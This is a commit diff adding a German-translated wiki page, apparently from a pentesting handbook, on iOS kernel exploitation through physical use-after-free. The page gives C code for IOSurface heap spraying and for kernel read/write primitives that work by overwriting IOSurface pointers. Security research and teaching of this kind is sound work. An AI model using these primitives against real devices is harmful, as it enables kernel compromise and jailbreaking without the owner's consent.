Translated ['binary-exploitation/ios-exploiting.md'] to de

This commit is contained in:
Translator 2024-11-05 18:40:15 +00:00
parent 8446a50299
commit c737dfca5e
2 changed files with 204 additions and 0 deletions

View file

@ -778,6 +778,7 @@
* [WWW2Exec - \_\_malloc\_hook & \_\_free\_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-\_\_malloc\_hook.md)
* [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
* [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [iOS Exploiting](binary-exploitation/ios-exploiting.md)
## 🔩 Reversing

View file

@ -0,0 +1,203 @@
# iOS Exploiting
## Physikalisches Use-After-Free
Dies ist eine Zusammenfassung des Beitrags von [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Weitere Informationen über Exploits, die diese Technik verwenden, finden Sie unter [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd).
### Speicherverwaltung in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
Der **virtuelle Adressraum** für Benutzerprozesse auf iOS reicht von **0x0 bis 0x8000000000**. Diese Adressen sind jedoch nicht direkt auf physischen Speicher abgebildet. Stattdessen verwendet der **Kernel** **Seitentabellen**, um virtuelle Adressen in tatsächliche **physische Adressen** zu übersetzen.
#### Ebenen der Seitentabellen in iOS
Seitentabellen sind hierarchisch in drei Ebenen organisiert:
1. **L1 Seitentabelle (Ebene 1)**:
* Jeder Eintrag hier repräsentiert einen großen Bereich virtuellen Speichers.
* Sie deckt **0x1000000000 Bytes** (oder **256 GB**) virtuellen Speicher ab.
2. **L2 Seitentabelle (Ebene 2)**:
* Ein Eintrag hier repräsentiert einen kleineren Bereich virtuellen Speichers, speziell **0x2000000 Bytes** (32 MB).
* Ein L1-Eintrag kann auf eine L2-Tabelle verweisen, wenn er den gesamten Bereich nicht selbst abbilden kann.
3. **L3 Seitentabelle (Ebene 3)**:
* Dies ist die feinste Ebene, bei der jeder Eintrag eine einzelne **4 KB** Speicherseite abbildet.
* Ein L2-Eintrag kann auf eine L3-Tabelle verweisen, wenn eine genauere Kontrolle erforderlich ist.
#### Abbildung von virtuellem zu physischem Speicher
* **Direkte Abbildung (Blockabbildung)**:
* Einige Einträge in einer Seitentabelle **bilden einen Bereich virtueller Adressen** auf einen zusammenhängenden Bereich physischer Adressen ab (wie eine Abkürzung).
* **Zeiger auf die Kind-Seitentabelle**:
* Wenn eine genauere Kontrolle erforderlich ist, kann ein Eintrag in einer Ebene (z. B. L1) auf eine **Kind-Seitentabelle** in der nächsten Ebene (z. B. L2) verweisen.
#### Beispiel: Abbildung einer virtuellen Adresse
Angenommen, Sie versuchen, auf die virtuelle Adresse **0x1000000000** zuzugreifen:
1. **L1-Tabelle**:
* Der Kernel überprüft den L1-Seitentabelleneintrag, der dieser virtuellen Adresse entspricht. Wenn er einen **Zeiger auf eine L2-Seitentabelle** hat, geht er zu dieser L2-Tabelle.
2. **L2-Tabelle**:
* Der Kernel überprüft die L2-Seitentabelle auf eine detailliertere Abbildung. Wenn dieser Eintrag auf eine **L3-Seitentabelle** verweist, fährt er dort fort.
3. **L3-Tabelle**:
* Der Kernel sucht den endgültigen L3-Eintrag, der auf die **physische Adresse** der tatsächlichen Speicherseite verweist.
#### Beispiel für die Adressabbildung
Wenn Sie die physische Adresse **0x800004000** in den ersten Index der L2-Tabelle schreiben, dann:
* Virtuelle Adressen von **0x1000000000** bis **0x1002000000** werden auf physische Adressen von **0x800004000** bis **0x802004000** abgebildet.
* Dies ist eine **Blockabbildung** auf der L2-Ebene.
Alternativ, wenn der L2-Eintrag auf eine L3-Tabelle verweist:
* Jede 4 KB-Seite im virtuellen Adressbereich **0x1000000000 -> 0x1002000000** würde durch einzelne Einträge in der L3-Tabelle abgebildet.
### Physikalisches Use-After-Free
Ein **physikalisches Use-After-Free** (UAF) tritt auf, wenn:
1. Ein Prozess **Speicher** als **lesbar und schreibbar** **allokiert**.
2. Die **Seitentabellen** werden aktualisiert, um diesen Speicher auf eine bestimmte physische Adresse abzubilden, auf die der Prozess zugreifen kann.
3. Der Prozess den Speicher **deallokiert** (freigibt).
4. Aufgrund eines **Bugs** vergisst der Kernel, die Abbildung aus den Seitentabellen zu entfernen, obwohl er den entsprechenden physischen Speicher als frei markiert.
5. Der Kernel kann dann diesen "freigegebenen" physischen Speicher für andere Zwecke, wie **Kernel-Daten**, **reallokieren**.
6. Da die Abbildung nicht entfernt wurde, kann der Prozess weiterhin **lesen und schreiben** in diesen physischen Speicher.
Das bedeutet, dass der Prozess auf **Seiten des Kernel-Speichers** zugreifen kann, die sensible Daten oder Strukturen enthalten könnten, was einem Angreifer potenziell ermöglicht, den **Kernel-Speicher** zu **manipulieren**.
### Exploitation-Strategie: Heap Spray
Da der Angreifer nicht kontrollieren kann, welche spezifischen Kernel-Seiten auf den freigegebenen Speicher zugewiesen werden, verwenden sie eine Technik namens **Heap Spray**:
1. Der Angreifer **erstellt eine große Anzahl von IOSurface-Objekten** im Kernel-Speicher.
2. Jedes IOSurface-Objekt enthält einen **magischen Wert** in einem seiner Felder, was die Identifizierung erleichtert.
3. Sie **scannen die freigegebenen Seiten**, um zu sehen, ob eines dieser IOSurface-Objekte auf einer freigegebenen Seite gelandet ist.
4. Wenn sie ein IOSurface-Objekt auf einer freigegebenen Seite finden, können sie es verwenden, um **Kernel-Speicher zu lesen und zu schreiben**.
Weitere Informationen dazu finden Sie unter [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups).
### Schritt-für-Schritt Heap Spray-Prozess
1. **Spray IOSurface-Objekte**: Der Angreifer erstellt viele IOSurface-Objekte mit einem speziellen Identifikator ("magischer Wert").
2. **Scannen freigegebener Seiten**: Sie überprüfen, ob eines der Objekte auf einer freigegebenen Seite zugewiesen wurde.
3. **Lesen/Schreiben von Kernel-Speicher**: Durch Manipulation der Felder im IOSurface-Objekt erhalten sie die Möglichkeit, **willkürliche Lese- und Schreibvorgänge** im Kernel-Speicher durchzuführen. Dies ermöglicht ihnen:
* Ein Feld zu verwenden, um **einen beliebigen 32-Bit-Wert** im Kernel-Speicher zu lesen.
* Ein anderes Feld zu verwenden, um **64-Bit-Werte** zu schreiben, wodurch eine stabile **Kernel-Lese-/Schreibprimitive** erreicht wird.
Generieren Sie IOSurface-Objekte mit dem magischen Wert IOSURFACE_MAGIC, um später danach zu suchen:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Suche nach **`IOSurface`**-Objekten in einer freigegebenen physischen Seite:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Erreichen von Kernel Read/Write mit IOSurface
Nachdem wir die Kontrolle über ein IOSurface-Objekt im Kernel-Speicher (zu einer freigegebenen physischen Seite, die aus dem Benutzerspeicher zugänglich ist, gemappt) erlangt haben, können wir es für **willkürliche Kernel-Lese- und Schreiboperationen** verwenden.
**Wichtige Felder in IOSurface**
Das IOSurface-Objekt hat zwei entscheidende Felder:
1. **Use Count Pointer**: Ermöglicht ein **32-Bit-Lesen**.
2. **Indexed Timestamp Pointer**: Ermöglicht ein **64-Bit-Schreiben**.
Durch das Überschreiben dieser Zeiger leiten wir sie an willkürliche Adressen im Kernel-Speicher um, was Lese-/Schreibfähigkeiten ermöglicht.
#### 32-Bit Kernel-Lesen
Um ein Lesen durchzuführen:
1. Überschreiben Sie den **Use Count Pointer**, um auf die Zieladresse minus eines 0x14-Byte-Offsets zu zeigen.
2. Verwenden Sie die Methode `get_use_count`, um den Wert an dieser Adresse zu lesen.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Bit Kernel Write
Um einen Schreibvorgang durchzuführen:
1. Überschreiben Sie den **indizierten Zeitstempelzeiger** mit der Zieladresse.
2. Verwenden Sie die Methode `set_indexed_timestamp`, um einen 64-Bit-Wert zu schreiben.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Exploit Flow Recap
1. **Trigger Physical Use-After-Free**: Freie Seiten stehen zur Wiederverwendung zur Verfügung.
2. **Spray IOSurface Objects**: Viele IOSurface-Objekte mit einem einzigartigen "magischen Wert" im Kernel-Speicher allokieren.
3. **Identify Accessible IOSurface**: Ein IOSurface auf einer freigegebenen Seite finden, die Sie kontrollieren.
4. **Abuse Use-After-Free**: Zeiger im IOSurface-Objekt modifizieren, um beliebiges **Kernel-Lesen/Schreiben** über IOSurface-Methoden zu ermöglichen.
Mit diesen Primitiven bietet der Exploit kontrollierte **32-Bit-Lesevorgänge** und **64-Bit-Schreibvorgänge** im Kernel-Speicher. Weitere Jailbreak-Schritte könnten stabilere Lese-/Schreibprimitive beinhalten, die möglicherweise das Umgehen zusätzlicher Schutzmaßnahmen erfordern (z. B. PPL auf neueren arm64e-Geräten).